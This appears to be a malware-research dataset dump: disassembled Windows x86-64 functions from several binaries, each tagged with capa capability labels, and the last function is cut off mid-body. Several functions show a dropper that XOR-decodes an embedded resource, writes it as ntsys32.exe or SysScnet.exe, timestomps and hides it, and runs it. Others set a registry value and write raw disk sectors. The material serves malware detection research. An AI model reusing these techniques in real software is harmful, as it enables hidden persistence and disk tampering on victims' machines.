joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ce370
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [section..data]
mov rdi, rax
test rax, rax
jne 0x1400ce3b2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400ce3f9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400ce452
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400ce410
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400ce493
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400e24cc]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400e24cd]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400ce460
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400d0fb8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x1400d1002
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400d1002
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400d1002
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400d1002
cmp dword [rcx + 0x84], 0xe
jbe 0x1400d1002
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400d1004
xor al, al
add rsp, 0x28
ret
Function at 0x140030460
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x1400646a0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400bf0c4]
call fcn.140031ca2
mov qword [rbp + 8], 0
jmp 0x1400646de
mov rax, qword [rbp + 8]
inc rax
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x110]
cmp qword [rbp + 8], rax
jae 0x140064734
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x108]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rbp + 0x100]
xor rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
movabs rax, 0x100000001b3
mov rcx, qword [rbp + 0x100]
imul rcx, rax
mov rax, rcx
mov qword [rbp + 0x100], rax
jmp 0x1400646d3
mov rax, qword [rbp + 0x100]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140030fc8
Capabilities:
Terminate process

Disassembly:
jmp 0x14008cfa0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400311a8
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140074910
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x748
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x136
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x768]
mov rax, qword [0x1400b1040]
xor rax, rbp
mov qword [rbp + 0x708], rax
lea rcx, [0x1400bf109]
call fcn.140031ca2
xor edx, edx
mov ecx, 0xf
call fcn.140030d4d
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140074977
xor eax, eax
jmp 0x140074a1a
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140031162
mov dword [rbp + 0x284], eax
cmp dword [rbp + 0x284], 0
je 0x140074a0e
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp + 0x730]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x5c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x1400749f9
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x38]
jmp 0x140074a1a
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14003186f
mov dword [rbp + 0x284], eax
jmp 0x1400749a1
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14009abf0]
call fcn.1400317a2
mov rax, rdi
mov rcx, qword [rbp + 0x708]
xor rcx, rbp
call fcn.140030d98
lea rsp, [rbp + 0x718]
pop rdi
pop rbp
ret
Function at 0x1400312a2
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140074730
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xa08
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1b6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xa28]
mov rax, qword [0x1400b1040]
xor rax, rbp
mov qword [rbp + 0x9c8], rax
lea rcx, [0x1400bf109]
call fcn.140031ca2
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, qword [rbp + 0x9f8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp + 0x9f8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, dword [rbp + 0x9f0]
mov ecx, 8
call fcn.140030d4d
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0xffffffffffffffff
jne 0x1400747f6
xor eax, eax
jmp 0x14007487b
lea rax, [rbp + 0x280]
mov rdi, rax
xor eax, eax
mov ecx, 0x438
rep stosb byte [rdi], al
mov dword [rbp + 0x280], 0x438
lea rdx, [rbp + 0x280]
mov rcx, qword [rbp + 0x258]
call fcn.1400311e9
test eax, eax
je 0x14007486c
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140074855
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x298]
jmp 0x14007487b
lea rdx, [rbp + 0x280]
mov rcx, qword [rbp + 0x258]
call fcn.1400303ca
test eax, eax
jne 0x14007482a
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14009acd0]
call fcn.1400317a2
mov rax, rdi
mov rcx, qword [rbp + 0x9c8]
xor rcx, rbp
call fcn.140030d98
lea rsp, [rbp + 0x9d8]
pop rdi
pop rbp
ret
Function at 0x1400313c9
Capabilities:
Parse pe header

Disassembly:
jmp 0x14008dad0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14008daf0
xor al, al
jmp 0x14008db71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14008db03
xor al, al
jmp 0x14008db71
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14008db2d
xor al, al
jmp 0x14008db71
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14008db41
xor al, al
jmp 0x14008db71
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14008db53
xor al, al
jmp 0x14008db71
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14008db6f
xor al, al
jmp 0x14008db71
mov al, 1
add rsp, 0x38
ret
Function at 0x14000138c
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rax - 0x28], rsi
lea r8d, [rsi + 3]
mov dword [rax - 0x30], 0x2000000
mov dword [rax - 0x38], r8d
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400013d2
xor eax, eax
jmp 0x14000146a
mov eax, 0x7da
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x68]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x14000147c
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x32]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
mov ebx, 0x104
lea rcx, [rsp + 0x30]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea r8, [0x140005650]
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
lea ecx, [rbx - 0x6f]
mov dword [rsp + 0x20], edi
call fcn.1400021ec
mov rbx, rax
cmp rax, rdi
je 0x140001536
mov r8d, dword [rsp + 0x20]
cmp r8d, edi
jle 0x140001517
mov rcx, rax
mov rdx, r8
xor byte [rcx], 0x99
inc rcx
sub rdx, 1
jne 0x14000150b
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.1400022c4
lea rcx, [rsp + 0x30]
call fcn.14000138c
mov rcx, rbx
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140003e30
mov rbx, qword [rsp + 0x260]
add rsp, 0x250
pop rdi
ret
Function at 0x14000155c
Capabilities:
Get common file path

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rcx, [r11 - 0x226]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x240]
mov edx, 0x104
mov dword [rsp + 0x34], edi
mov dword [rsp + 0x30], edi
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx ecx, word [rsp + 0x240]
lea rdx, [rsp + 0x34]
sub ecx, 0x41
call fcn.140001f40
mov ecx, dword [rsp + 0x34]
call fcn.140001e64
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400016ec
mov ebp, 0x16e
mov rcx, rbp
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
mov r8, rbp
xor edx, edx
mov rcx, rax
mov rbx, rax
call sub.MSVCR90.dll_memset
mov rdx, rbx
mov rcx, rsi
call fcn.1400024b4
lea rcx, [rbx + 4]
lea r8d, [rdi + 4]
lea rdx, [0x14000576c]
call qword [sym.imp.MSVCR90.dll_strncmp]
lea ebp, [rdi + 1]
cmp eax, edi
jne 0x14000167f
mov rcx, rsi
call fcn.1400023e8
cmp eax, edi
je 0x14000167f
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x200
call sub.MSVCR90.dll_memset
lea r9, [rsp + 0x40]
lea edx, [rdi + 0x28]
mov r8d, ebp
mov rcx, rsi
call fcn.140001ccc
cmp eax, edi
je 0x14000167f
cmp byte [rsp + 0x40], 0x33
jne 0x14000167f
lea r9, [rsp + 0x40]
mov r8d, ebp
xor edx, edx
mov rcx, rsi
mov dword [rsp + 0x20], edi
call fcn.140001d28
mov rcx, rsi
call fcn.140002118
mov rcx, rsi
mov ebx, eax
call fcn.140002070
mov r11d, eax
sub r11d, ebx
cmp r11d, 0x29a
jae 0x1400016b7
mov ecx, 0x2aa
sub ecx, r11d
lea eax, [rcx + 0x32000]
cmp ebx, eax
jbe 0x1400016ec
sub ebx, ecx
add r11d, ecx
cmp r11d, 0xa00000
jbe 0x1400016ce
mov rcx, rsi
call fcn.140002070
lea ebx, [rax - 0x2800]
add ebx, 0x6a
lea r8, [rsp + 0x30]
mov rcx, rsi
mov edx, ebx
call fcn.14000254c
cmp eax, edi
je 0x1400016ec
mov edi, ebp
mov ebp, dword [rsp + 0x30]
jmp 0x1400016f5
mov ebx, edi
mov ebp, edi
call fcn.14000147c
mov edx, ebp
mov ecx, ebx
call fcn.1400010f4
cmp rsi, 0xffffffffffffffff
je 0x14000170d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003e30
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001738
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov ebx, 0x206
lea rcx, [rsp + 0x242]
xor edi, edi
mov r8, rbx
xor edx, edx
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
mov r8, rbx
xor edx, edx
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
mov ebx, 0x104
lea rcx, [rsp + 0x240]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rsp + 0x30]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, str._ntsys32.exe
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
lea ecx, [rbx - 0x6f]
mov dword [rsp + 0x20], edi
call fcn.1400021ec
mov rbx, rax
cmp rax, rdi
je 0x14000180f
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.1400022c4
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x30]
call fcn.140002930
mov rcx, rbx
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003e30
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret

Function at 0x140001834
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rcx, [rsp + 0x242]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
lea ecx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x240]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov r11, rdi
movzx eax, word [rsp + r11 + 0x240]
add r11, 2
mov word [rsp + r11 + 0x2e], ax
cmp ax, di
jne 0x1400018a4
lea r8, str.sc.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea rdx, [rsp + 0x30]
mov r8d, 1
mov ecx, 0x96
call fcn.1400025d8
lea r8, [rsp + 0x30]
lea rdx, [0x1400056a8]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003e30
add rsp, 0x460
pop rdi
ret
Function at 0x140001924
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov ebx, 0x206
lea rcx, [rsp + 0x242]
xor edi, edi
mov r8, rbx
xor edx, edx
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
mov r8, rbx
xor edx, edx
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
mov ebx, 0x104
lea rcx, [rsp + 0x240]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov r11, rdi
movzx eax, word [rsp + r11 + 0x240]
add r11, 2
mov word [rsp + r11 + 0x2e], ax
cmp ax, di
jne 0x140001990
lea r8, [0x1400056d4]
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, str.SysScnet.exe
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea rdx, [rsp + 0x30]
mov r8d, 1
mov ecx, 0xb2
call fcn.1400025d8
cmp eax, edi
je 0x1400019f5
lea rcx, [rsp + 0x30]
call fcn.14000138c
lea r8, [rsp + 0x30]
lea rdx, [0x1400056a8]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001738
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003e30
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret

Function at 0x140001a48
Capabilities:
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x480
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x200
call sub.MSVCR90.dll_memset
xor r9d, r9d
lea rdx, [rsp + 0x60]
lea r8d, [r9 + 8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rcx, [rsp + 0x60]
mov edx, 0x5c
call qword [sym.imp.MSVCR90.dll_wcsrchr]
xor ebx, ebx
cmp rax, rbx
je 0x140001aa7
mov word [rax], bx
lea rcx, [rsp + 0x260]
lea rdx, [0x1400056d8]
mov r8d, 0x34
call sub.MSVCR90.dll_memcpy
lea rcx, [rsp + 0x294]
xor edx, edx
mov r8d, 0x1d4
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x50]
mov rdi, 0xffffffff80000002
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x260]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
je 0x140001b45
lea rax, [rsp + 0x58]
lea rdx, [rsp + 0x260]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp eax, ebx
jne 0x140001b83
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x60]
repne scasw ax, word [rdi]
lea rdx, str.Value
mov r9d, 1
not rcx
xor r8d, r8d
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
cmp rcx, rbx
je 0x140001b93
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140003e30
mov rbx, qword [rsp + 0x490]
add rsp, 0x480
pop rdi
ret
Function at 0x140001ccc
Capabilities:
Read file on windows

Disassembly:
mov r11, rsp
sub rsp, 0x58
xor r8d, r8d
xor eax, eax
mov r10, r9
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x20], r8
mov qword [r11 - 0x18], r8
mov qword [r11 - 0x10], r8
mov dword [rsp + 0x60], eax
cmp rcx, 0xffffffffffffffff
je 0x140001d22
mov eax, edx
lea r9, [r11 + 8]
mov r8d, 0x200
shl rax, 9
mov rdx, r10
mov dword [rsp + 0x40], eax
shr rax, 0x20
mov dword [rsp + 0x44], eax
lea rax, [r11 - 0x28]
mov qword [r11 - 0x38], rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
add rsp, 0x58
ret

Function at 0x140001d28
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r12
sub rsp, 0x70
xor ebx, ebx
mov rdi, r9
mov esi, edx
cmp dword [0x1400091f4], ebx
jne 0x140001da3
and qword [r11 - 0x30], rbx
xor eax, eax
and dword [rsp + 0x40], eax
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
cmp rcx, 0xffffffffffffffff
je 0x140001e46
mov rax, rsi
lea r9, [r11 - 0x38]
shl r8d, 9
shl rax, 9
mov rdx, rdi
mov dword [rsp + 0x58], eax
shr rax, 0x20
mov dword [rsp + 0x5c], eax
lea rax, [r11 - 0x30]
mov qword [r11 - 0x58], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
jmp 0x140001e46
test r8d, r8d
je 0x140001e46
mov r12d, r8d
xor ebx, ebx
cmp dword [0x1400088d4], 1
jne 0x140001e33
and dword [rsp + 0x40], ebx
mov ecx, 0x210
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new___unsigned_long_long_unsigned___int64__
mov ecx, esi
mov r8d, 0x200
mov qword [rax + 8], rcx
lea rcx, [rax + 0x10]
mov rdx, rdi
mov rbp, rax
mov dword [rax], 0x12
mov dword [rax + 4], 1
call sub.MSVCR90.dll_memcpy
mov rcx, qword [0x140008ae8]
cmp rcx, 0xffffffffffffffff
je 0x140001e2b
and qword [rsp + 0x38], rbx
lea rax, [rsp + 0x40]
mov r9d, 0x210
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], ebx
and qword [rsp + 0x20], rbx
mov r8, rbp
mov edx, 0x80002000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ebx, eax
mov rcx, rbp
call sub.MSVCR90.dll_void___cdecl_operator_delete___void____ptr64_
add rdi, 0x200
inc esi
sub r12, 1
jne 0x140001daf
lea r11, [rsp + 0x70]
mov eax, ebx
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret
Function at 0x140002118
Capabilities:
Get disk information via ioctl

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov r12, rcx
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
xor edi, edi
xor ebp, ebp
cmp r12, 0xffffffffffffffff
je 0x1400021c9
mov ecx, 0xc00
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new___unsigned_long_long_unsigned___int64__
and qword [rsp + 0x38], rsi
xor r9d, r9d
mov rbx, rax
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov edx, 0x70050
mov rcx, r12
mov dword [rsp + 0x28], 0xc00
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1400021bc
lea rax, [rbx + 0x38]
lea ecx, [rsi + 4]
cmp qword [rax], rdi
jle 0x14000219c
mov rdi, qword [rax]
mov rbp, qword [rax + 8]
add rax, 0x90
sub rcx, 1
jne 0x140002190
lea rax, [rdi + rbp]
cqo
and edx, 0x1ff
lea rsi, [rdx + rax]
sar rsi, 9
test rbx, rbx
je 0x1400021c9
mov rcx, rbx
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov eax, esi
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret

Function at 0x1400021ec
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov ebx, ecx
xor ecx, ecx
mov r13, r8
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, str.IDR_BINARY
mov rcx, rax
mov rdx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
cmp rax, r12
je 0x1400022a7
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test esi, 0x1ff
mov dword [r13], esi
setne r12b
mov rdi, rax
mov eax, esi
shr eax, 9
add r12d, eax
shl r12d, 9
mov ecx, r12d
mov ebx, r12d
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new___unsigned_long_long_unsigned___int64__
mov r8, rbx
xor edx, edx
mov rcx, rax
mov r12, rax
call sub.MSVCR90.dll_memset
mov r8, rsi
mov rdx, rdi
mov rcx, r12
call sub.MSVCR90.dll_memcpy
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
